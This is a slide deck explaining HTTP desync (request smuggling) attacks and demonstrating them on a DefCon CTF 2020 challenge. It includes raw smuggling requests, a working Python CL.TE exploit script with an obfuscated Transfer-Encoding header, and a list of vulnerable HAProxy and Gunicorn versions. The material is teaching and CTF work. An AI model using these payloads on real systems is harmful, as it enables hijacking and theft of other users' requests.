Http Desync Attacks
Background
- Discovered by James Kittle of PortSwigger in 2019
- Vulnerability at the application layer (HTTP)
- Type of Request Smuggling Attack
- Sneak a malicious packet into a valid packet.
-
Multi-Tiered attack
- Proxy and Server
- Goal: Desynchronize complex systems
How Does Desync Happen?
- HTTP/1.1 Uses the Keep-Alive property, which reuses a TCP stream.
- HTTP/1.1 - Transfer-Encoding: Chunked
- Sends data in a series of chunks
- It knows how much is being sent based on the size prepended to the chunk.
- The combination can lead to prepending the next packet with additional data.
Detect
- Send a packet which is designed to timeout if server is vulnerable to desync.
- Bad chunk-length like a letter
- False positives can occur
Valid
Invalid
POST /about HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4
1
Z
Q
Detect
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Transfer-Encoding: zchunked
17
=x&q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: bPOST /search HTTP/1.1
Host: example.com
…
Confirm - Attack
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: zchunked
96
GET /404 HTTP/1.1
X: x=1&q=smugging&x=
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
x=
0
POST /search HTTP/1.1
Host: example.com
Confirm - Response
Attack-Demo
- CTF Challenge - DefConCTF 2020 Uploooadit
- Uses HAProxy, Gunicorn, and Python to create vulnerability
- HAProxy 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5 are vulnerable
- Allows http request smuggling
- Gunicorn version 20.0.1, 20.0.0, and anything below 19.10 are vulnerable
- Target to desynchronize
- HAProxy 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5 are vulnerable
- Successful exploitation results in the presentation of a flag.
Attack-Demo
#!/usr/bin/env python3
import socket
import ssl
import sys
import uuid
import requests
CLTE_TEMPLATE = """GET / HTTP/1.1
Host: {hostname}
User-Agent: attacker
Content-Length: {length}
Transfer-Encoding:\x0bchunked
0
"""
GUID = str(uuid.uuid4())
def request(content, hostname, port):
print(content)
print()
def issue_request(server):
assert server.send(content) == len(content)
data = server.recv(1024)
while len(data) > 0:
print(data.decode("utf-8"))
data = server.recv(1024)
with socket.create_connection((hostname, port)) as raw_socket:
if port == 443:
context = ssl.create_default_context()
with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
issue_request(server)
else:
issue_request(raw_socket)
try:
raw_socket.shutdown(socket.SHUT_RDWR)
except:
pass
def clte(payload, hostname):
offset = 5 + payload.count("\n")
return (
(CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
.replace("\n", "\r\n")
.encode("utf-8")
)
def main():
if len(sys.argv) == 2 and sys.argv[1] == "--local":
hostname = "localhost"
port = 8080
url = f"http://localhost:8080/files/{GUID}"
else:
hostname = "uploooadit.oooverflow.io"
port = 443
url = f"https://uploooadit.oooverflow.io/files/{GUID}"
payload = f"""POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: {GUID}
"""
request(clte(payload, hostname), hostname, port)
response = requests.get(url)
print(response.content.decode("utf-8"))
if __name__ == "__main__":
sys.exit(main())
#!/usr/bin/env python3
import argparse
import os
import sys
import time
import traceback
import uuid
import requests
SECRET = b"Congratulations!\nOOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}\n"
SLEEP_TIME = float(os.getenv("SLEEP_TIME", 2))
URL = "http://127.0.0.1:8080/files/"
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--daemon", action="store_true")
arguments = parser.parse_args()
run_loop()
def put_file():
response = requests.post(
URL,
data=SECRET,
headers={
"Content-Type": "text/plain",
"User-Agent": "invoker",
"X-guid": str(uuid.uuid4()),
},
timeout=1,
)
if response.status_code == 201:
sys.stdout.write(".")
sys.stdout.flush()
else:
print()
print(response)
def run_loop():
while True:
try:
put_file()
except Exception:
traceback.print_exc()
time.sleep(SLEEP_TIME)
if __name__ == "__main__":
sys.exit(main())
attack.py
invoker.py (server)
DEMO
Learn More
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn - Link to the paper and video
- https://github.com/o-o-overflow/dc2020q-uploooadit - Link to Uploooadit challenge repo and walkthrough.
- https://medium.com/@emilefugulin/http-desync-attacks-with-python-and-aws-1ba07d2c860f - Explains why Gunicorn is vulnerable
- https://nathandavison.com/blog/haproxy-http-request-smuggling - Explains why HAProxy is vulnerable.
- https://slides.com/ragnarsecurity/http-desync-attack - Link to these slides
HTTP Desync Attack
By Ragnar Security
HTTP Desync Attack
A slide deck on the Http Desync Attack, a type of Request Smuggling.
- 164